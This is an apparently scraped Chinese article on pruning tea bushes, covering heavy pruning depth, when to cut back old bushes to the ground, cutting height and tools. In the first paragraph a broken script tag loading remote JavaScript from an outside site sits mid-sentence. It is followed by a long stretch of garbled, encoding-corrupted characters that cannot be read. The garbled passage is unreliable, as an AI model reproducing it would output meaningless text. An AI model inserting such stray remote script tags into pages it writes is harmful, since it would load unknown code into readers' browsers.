茶树修剪技术(3):衰老茶树的重修剪和台刈
茶树经过多年的采摘和各种轻、深修剪，上部枝条的育芽能力逐步降低，即使加强肥培管理和轻、深修剪也不能得到良好的效果，表现为发芽力不强，芽叶瘦小?script type='text/javascript' src='http://www.368tea.com/js/v.js'>约幸侗壤纳芰Α⑹鞴谏嫌幸欢桃恫愕牟枋鳎约熬刹柙爸惺髁渌淅希芾硭缴懈撸髦鸵弧⒍斗种ι凶常喜惴种葜Χ啵Ω苫野祝律蚁感。约幸缎纬杀壤撸扇∩钚藜粢巡荒芑指瓷な频牟枋鳌Ｒ恍┮虺Ｄ耆鄙俟芾恚な粕星浚魈逄撸徊扇〗现爻潭鹊男藜舭旆ǎ巡荒苎沟褪鞴冢现赜跋烊蘸笊芾淼牟枋鳎捕疾捎谜庖恍藜舴椒ā?/p>
重修剪程度要掌握恰当，过重过深，树冠恢复较慢，影响产量较大；过浅则达不到改造的目的，甚至改造后不久又重新衰老，失去改造意义。因此，要求根据树势确定修剪深度。常用的深度是剪去树高的l／2或略多一些，留下离地面高度30－5cm的主要骨干枝。
台刈是彻底改造树冠的方法。由于台刈后新抽生的枝梢都是从根茎部萌发而成的，其生理年龄小，所以抽出的枝条具有旺盛的生命力，可以形成整齐的树冠和健壮的树势，在加强肥培管理条件下，能使茶树迅速恢复生产，并达到增产提质的目的。但台刈后会影响初期一、二年的产量，所以树势不是十分衰老则不宜采用。
台刈的茶树必须是树势十分衰老，采用重修剪方法已不能恢复树势，即使增强肥培管理产量仍然不高，茶树内部都是粗老枝干，枯枝率高，起骨架作用的茎秆上地衣苔藓多，芽叶稀少，枝干灰褐色，不台刈不足以改变树势的茶树。
台刈后高度是关系到今后树势恢复和产量高低的重要因素。一般采取离地面5－10cm处剪去全部地上部分枝干。台刈要求切口平滑、倾斜、不撕裂茎秆，必须选用锋利的弯刀斜劈或手锯锯割，也可选用圆盘式割灌机切割。尽量避免树桩被撕裂，以防止切口感染病虫，而且破裂部分会有较多雨水滞留，影响潜伏芽的萌发。
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